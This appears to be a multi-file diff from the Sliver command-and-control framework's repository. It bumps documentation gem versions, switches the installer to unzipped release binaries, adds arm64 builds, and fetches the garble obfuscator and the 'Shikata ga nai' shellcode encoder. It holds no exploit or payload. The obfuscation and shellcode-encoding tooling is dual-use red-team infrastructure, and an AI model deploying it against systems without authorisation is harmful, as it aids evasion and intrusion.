+    faraday-net_http_persistent (1.2.0)
    faraday-patron (1.0.0)
-    ffi (1.15.3)
+    faraday-rack (1.0.0)
+    faraday-retry (1.0.3)
+    ffi (1.15.5)
    forwardable-extended (2.6.0)
    gemoji (3.0.1)
-    github-pages (215)
-      github-pages-health-check (= 1.17.2)
+    github-pages (225)
+      github-pages-health-check (= 1.17.9)
      jekyll (= 3.9.0)
      jekyll-avatar (= 0.7.0)
      jekyll-coffeescript (= 1.1.1)
-      jekyll-commonmark-ghpages (= 0.1.6)
+      jekyll-commonmark-ghpages (= 0.2.0)
      jekyll-default-layout (= 0.1.4)
      jekyll-feed (= 0.15.1)
      jekyll-gist (= 1.5.0)
      jekyll-github-metadata (= 2.13.0)
+      jekyll-include-cache (= 0.2.1)
      jekyll-mentions (= 1.6.0)
      jekyll-optional-front-matter (= 0.3.2)
      jekyll-paginate (= 1.1.0)
@@ -64,22 +70,22 @@ GEM
      jekyll-relative-links (= 0.6.1)
      jekyll-remote-theme (= 0.4.3)
      jekyll-sass-converter (= 1.5.2)
-      jekyll-seo-tag (= 2.7.1)
+      jekyll-seo-tag (= 2.8.0)
      jekyll-sitemap (= 1.4.0)
      jekyll-swiss (= 1.0.0)
-      jekyll-theme-architect (= 0.1.1)
-      jekyll-theme-cayman (= 0.1.1)
-      jekyll-theme-dinky (= 0.1.1)
-      jekyll-theme-hacker (= 0.1.2)
-      jekyll-theme-leap-day (= 0.1.1)
-      jekyll-theme-merlot (= 0.1.1)
-      jekyll-theme-midnight (= 0.1.1)
-      jekyll-theme-minimal (= 0.1.1)
-      jekyll-theme-modernist (= 0.1.1)
-      jekyll-theme-primer (= 0.5.4)
-      jekyll-theme-slate (= 0.1.1)
-      jekyll-theme-tactile (= 0.1.1)
-      jekyll-theme-time-machine (= 0.1.1)
+      jekyll-theme-architect (= 0.2.0)
+      jekyll-theme-cayman (= 0.2.0)
+      jekyll-theme-dinky (= 0.2.0)
+      jekyll-theme-hacker (= 0.2.0)
+      jekyll-theme-leap-day (= 0.2.0)
+      jekyll-theme-merlot (= 0.2.0)
+      jekyll-theme-midnight (= 0.2.0)
+      jekyll-theme-minimal (= 0.2.0)
+      jekyll-theme-modernist (= 0.2.0)
+      jekyll-theme-primer (= 0.6.0)
+      jekyll-theme-slate (= 0.2.0)
+      jekyll-theme-tactile (= 0.2.0)
+      jekyll-theme-time-machine (= 0.2.0)
      jekyll-titles-from-headings (= 0.5.3)
      jemoji (= 0.12.0)
      kramdown (= 2.3.1)
@@ -87,19 +93,19 @@ GEM
      liquid (= 4.0.3)
      mercenary (~> 0.3)
      minima (= 2.5.1)
-      nokogiri (>= 1.10.4, < 2.0)
+      nokogiri (>= 1.12.5, < 2.0)
      rouge (= 3.26.0)
      terminal-table (~> 1.4)
-    github-pages-health-check (1.17.2)
+    github-pages-health-check (1.17.9)
      addressable (~> 2.3)
      dnsruby (~> 1.60)
      octokit (~> 4.0)
-      public_suffix (>= 2.0.2, < 5.0)
+      public_suffix (>= 3.0, < 5.0)
      typhoeus (~> 1.3)
    html-pipeline (2.14.0)
      activesupport (>= 2)
      nokogiri (>= 1.4)
-    http_parser.rb (0.6.0)
+    http_parser.rb (0.8.0)
    i18n (0.9.5)
      concurrent-ruby (~> 1.0)
    jekyll (3.9.0)
@@ -120,12 +126,12 @@ GEM
    jekyll-coffeescript (1.1.1)
      coffee-script (~> 2.2)
      coffee-script-source (~> 1.11.1)
-    jekyll-commonmark (1.3.1)
-      commonmarker (~> 0.14)
-      jekyll (>= 3.7, < 5.0)
-    jekyll-commonmark-ghpages (0.1.6)
-      commonmarker (~> 0.17.6)
-      jekyll-commonmark (~> 1.2)
+    jekyll-commonmark (1.4.0)
+      commonmarker (~> 0.22)
+    jekyll-commonmark-ghpages (0.2.0)
+      commonmarker (~> 0.23.4)
+      jekyll (~> 3.9.0)
+      jekyll-commonmark (~> 1.4.0)
      rouge (>= 2.0, < 4.0)
    jekyll-default-layout (0.1.4)
      jekyll (~> 3.0)
@@ -136,6 +142,8 @@ GEM
    jekyll-github-metadata (2.13.0)
      jekyll (>= 3.4, < 5.0)
      octokit (~> 4.0, != 4.4.0)
+    jekyll-include-cache (0.2.1)
+      jekyll (>= 3.7, < 5.0)
    jekyll-mentions (1.6.0)
      html-pipeline (~> 2.3)
      jekyll (>= 3.7, < 5.0)
@@ -155,50 +163,50 @@ GEM
      rubyzip (>= 1.3.0, < 3.0)
    jekyll-sass-converter (1.5.2)
      sass (~> 3.4)
-    jekyll-seo-tag (2.7.1)
+    jekyll-seo-tag (2.8.0)
      jekyll (>= 3.8, < 5.0)
    jekyll-sitemap (1.4.0)
      jekyll (>= 3.7, < 5.0)
    jekyll-swiss (1.0.0)
-    jekyll-theme-architect (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-cayman (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-dinky (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-hacker (0.1.2)
+    jekyll-theme-architect (0.2.0)
      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-leap-day (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-cayman (0.2.0)
+      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-merlot (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-dinky (0.2.0)
+      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-midnight (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-hacker (0.2.0)
+      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-minimal (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-leap-day (0.2.0)
+      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-modernist (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-merlot (0.2.0)
+      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-primer (0.5.4)
+    jekyll-theme-midnight (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-minimal (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-modernist (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-primer (0.6.0)
      jekyll (> 3.5, < 5.0)
      jekyll-github-metadata (~> 2.9)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-slate (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-slate (0.2.0)
+      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-tactile (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-tactile (0.2.0)
+      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-time-machine (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-time-machine (0.2.0)
+      jekyll (> 3.5, < 5.0)
      jekyll-seo-tag (~> 2.0)
    jekyll-titles-from-headings (0.5.3)
      jekyll (>= 3.3, < 5.0)
@@ -213,35 +221,33 @@ GEM
    kramdown-parser-gfm (1.1.0)
      kramdown (~> 2.0)
    liquid (4.0.3)
-    listen (3.5.1)
+    listen (3.7.1)
      rb-fsevent (~> 0.10, >= 0.10.3)
      rb-inotify (~> 0.9, >= 0.9.10)
    mercenary (0.3.6)
-    mini_portile2 (2.6.1)
+    mini_portile2 (2.8.0)
    minima (2.5.1)
      jekyll (>= 3.5, < 5.0)
      jekyll-feed (~> 0.9)
      jekyll-seo-tag (~> 2.1)
-    minitest (5.14.4)
+    minitest (5.15.0)
    multipart-post (2.1.1)
-    nokogiri (1.12.5)
-      mini_portile2 (~> 2.6.1)
+    nokogiri (1.13.6)
+      mini_portile2 (~> 2.8.0)
      racc (~> 1.4)
-    octokit (4.21.0)
+    octokit (4.22.0)
      faraday (>= 0.9)
      sawyer (~> 0.8.0, >= 0.5.3)
    pathutil (0.16.2)
      forwardable-extended (~> 2.6)
    public_suffix (4.0.6)
-    racc (1.5.2)
-    rb-fsevent (0.11.0)
+    racc (1.6.0)
+    rb-fsevent (0.11.1)
    rb-inotify (0.10.1)
      ffi (~> 1.0)
    rexml (3.2.5)
    rouge (3.26.0)
-    ruby-enum (0.9.0)
-      i18n
-    ruby2_keywords (0.0.4)
+    ruby2_keywords (0.0.5)
    rubyzip (2.3.2)
    safe_yaml (1.0.5)
    sass (3.7.4)
@@ -259,16 +265,16 @@ GEM
    thread_safe (0.3.6)
    typhoeus (1.4.0)
      ethon (>= 0.9.0)
-    tzinfo (1.2.9)
+    tzinfo (1.2.10)
      thread_safe (~> 0.1)
-    tzinfo-data (1.2021.1)
+    tzinfo-data (1.2021.5)
      tzinfo (>= 1.0.0)
    unf (0.1.4)
      unf_ext
-    unf_ext (0.0.7.7)
-    unicode-display_width (1.7.0)
+    unf_ext (0.0.8)
+    unicode-display_width (1.8.0)
    wdm (0.1.1)
-    zeitwerk (2.4.2)
+    zeitwerk (2.5.4)

 PLATFORMS
  ruby
@@ -10,13 +10,13 @@ fi

 if [ -n "$(command -v yum)" ]
 then
-    yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
+    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
 fi

 if [ -n "$(command -v apt-get)" ]
 then
    DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
-        zip unzip gpg curl build-essential \
+        gpg curl build-essential \
        mingw-w64 binutils-mingw-w64 g++-mingw-w64
 fi

@@ -32,12 +32,6 @@ then
    echo "awk could not be found"
    exit 1
 fi
-# Zip
-if ! command -v zip &> /dev/null
-then
-    echo "zip could not be found"
-    exit 1
-fi
 # GPG
 if ! command -v gpg &> /dev/null
 then
@@ -106,49 +100,34 @@ EOF
 # Download and Unpack Sliver Server
 #
 ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
-SLIVER_SERVER_ZIP='sliver-server_linux.zip'
-SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
-SLIVER_SERVER='sliver-server'
-SLIVER_CLIENT='sliver-client'
+SLIVER_SERVER='sliver-server_linux'
+SLIVER_CLIENT='sliver-client_linux'


 for URL in $ARTIFACTS
 do
-    if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
+    if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
        echo "Downloading $URL"
        curl --silent -L $URL --output $(basename $URL)
    fi
-    if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
+    if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
        echo "Downloading $URL"
        curl --silent -L $URL --output $(basename $URL)
    fi
 done

 echo "Verifying signatures ..."
-gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
-gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
-
-if test -f "/root/$SLIVER_SERVER_ZIP"; then
-    unzip -o /root/$SLIVER_SERVER_ZIP -d /root
-    rm -f /root/$SLIVER_SERVER_ZIP
-else 
-    exit 2
-fi
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT

 if test -f "/root/$SLIVER_SERVER"; then
-    chmod 755 /root/$SLIVER_SERVER
-    /root/$SLIVER_SERVER unpack --force
+    mv /root/$SLIVER_SERVER /root/sliver-server
+    chmod 755 /root/sliver-server
+    /root/sliver-server unpack --force
 else
    exit 3
 fi

-if test -f "/root/$SLIVER_CLIENT_ZIP"; then
-    unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
-    rm -f /root/$SLIVER_CLIENT_ZIP
-else 
-    exit 2
-fi
-
 if test -f "/root/$SLIVER_CLIENT"; then
    chmod 755 /root/$SLIVER_CLIENT 
    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
@@ -20,12 +20,12 @@ set -e

 # Creates the static go asset archives

-GO_VER="1.17.6"
-GARBLE_VER="1.17.5"
+GO_VER="1.18.5"
+GARBLE_VER="1.18.0"
+SGN_VER="0.0.3"

 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
-GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"

 if ! [ -x "$(command -v curl)" ]; then
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
 rm -rf ./go
 rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz

-# --- Linux --- 
-curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
-tar xvf go$GO_VER.linux-amd64.tar.gz
+# --- Linux (amd64) --- 
+curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
+tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
 cd go
 rm -rf $BLOAT_FILES
 rm -rf ./src
@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
 rm -rf ./go
 rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz

+# --- Linux (arm64) --- 
+curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
+tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
+cd go
+rm -rf $BLOAT_FILES
+rm -rf ./src
+rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
+rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
+rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
+cd ..
+zip -r linux-go.zip ./go
+mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
+cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
+rm -rf ./go
+rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
+
 # --- Windows --- 
 curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
 unzip go$GO_VER.windows-amd64.zip
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"

 echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
-
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
 echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
 curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
@@ -149,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2

+
+echo "-----------------------------------------------------------------"
+echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
+echo "-----------------------------------------------------------------"
+
+# Linux (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
+
+# Linux (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
+
+# Windows (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
+
+# MacOS (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
+
+# MacOS (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
+
+
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR
@@ -149,6 +149,7 @@ else
 fi

 # server / generate
+export GOPROXY=off
 if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
    :
 else
@@ -1,11 +1,8 @@
 module github.com/bishopfox/sliver

-go 1.17
+go 1.18

-// fix wgctrl requiring old wireguard
-replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
-
-replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
+replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6

 require (
 	github.com/AlecAivazis/survey/v2 v2.2.2
@@ -13,79 +10,77 @@ require (
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
-	github.com/Microsoft/go-winio v0.4.16 // indirect
+	github.com/Ne0nd0g/go-clr v1.0.2
 	github.com/alecthomas/chroma v0.8.1
 	github.com/cheggaaa/pb/v3 v3.0.5
+	github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
+	github.com/chromedp/chromedp v0.8.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
 	github.com/fatih/color v1.12.0
-	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/gofrs/uuid v3.3.0+incompatible
-	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
 	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
-	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/jedib0t/go-pretty/v6 v6.2.4
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-sqlite3 v1.14.9
+	github.com/mattn/go-sqlite3 v1.14.12
 	github.com/miekg/dns v1.1.35
-	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
+	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
 	github.com/pquerna/otp v1.3.0
-	github.com/sergi/go-diff v1.1.0 // indirect
-	github.com/sirupsen/logrus v1.7.0
+	github.com/shirou/gopsutil/v3 v3.21.10
+	github.com/sirupsen/logrus v1.8.1
 	github.com/spf13/cobra v1.1.1
 	github.com/stretchr/testify v1.7.0
-	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-	golang.org/x/net v0.0.0-20210614182718-04defd469f4e
-	golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
-	golang.org/x/text v0.3.6
-	golang.zx2c4.com/wireguard v0.0.20200121
-	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
-	google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
-	google.golang.org/grpc v1.37.0
-	google.golang.org/protobuf v1.26.0
+	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
+	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
+	golang.org/x/text v0.3.7
+	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
+	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
+	google.golang.org/protobuf v1.27.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
 	gorm.io/driver/mysql v1.0.3
 	gorm.io/driver/postgres v1.0.5
 	gorm.io/driver/sqlite v1.1.3
 	gorm.io/gorm v1.21.14
-	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
-)
-
-require (
-	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/shirou/gopsutil/v3 v3.21.10
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
-	modernc.org/sqlite v1.14.3
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	modernc.org/sqlite v1.16.0
 )

 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
+	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
 	github.com/VividCortex/ewma v1.1.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
+	github.com/chromedp/sysutil v1.0.0 // indirect
 	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
 	github.com/desertbit/readline v1.5.1 // indirect
 	github.com/dlclark/regexp2 v1.2.0 // indirect
+	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/go-ole/go-ole v1.2.6 // indirect
 	github.com/go-sql-driver/mysql v1.5.0 // indirect
+	github.com/gobwas/httphead v0.1.0 // indirect
+	github.com/gobwas/pool v0.2.1 // indirect
+	github.com/gobwas/ws v1.1.0 // indirect
+	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
+	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/inconshreveable/mousetrap v1.0.0 // indirect
 	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
 	github.com/jackc/pgconn v1.7.0 // indirect
@@ -97,28 +92,36 @@ require (
 	github.com/jackc/pgx/v4 v4.9.0 // indirect
 	github.com/jinzhu/inflection v1.0.0 // indirect
 	github.com/jinzhu/now v1.1.2 // indirect
+	github.com/josharian/intern v1.0.0 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
 	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
+	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+	github.com/mailru/easyjson v0.7.7 // indirect
 	github.com/mattn/go-colorable v0.1.8 // indirect
+	github.com/mattn/go-isatty v0.0.13 // indirect
 	github.com/mattn/go-runewidth v0.0.9 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
+	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
+	github.com/sergi/go-diff v1.1.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.3.0 // indirect
-	golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
+	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.0 // indirect
+	golang.org/x/tools v0.1.9 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
+	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
 	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
-	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
+	gopkg.in/yaml.v3 v3.0.0 // indirect
 	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.18 // indirect
-	modernc.org/ccgo/v3 v3.12.95 // indirect
-	modernc.org/libc v1.11.104 // indirect
+	modernc.org/cc/v3 v3.35.24 // indirect
+	modernc.org/ccgo/v3 v3.15.18 // indirect
+	modernc.org/libc v1.14.12 // indirect
 	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.5 // indirect
+	modernc.org/memory v1.0.7 // indirect
 	modernc.org/opt v0.1.1 // indirect
 	modernc.org/strutil v1.1.1 // indirect
 	modernc.org/token v1.0.0 // indirect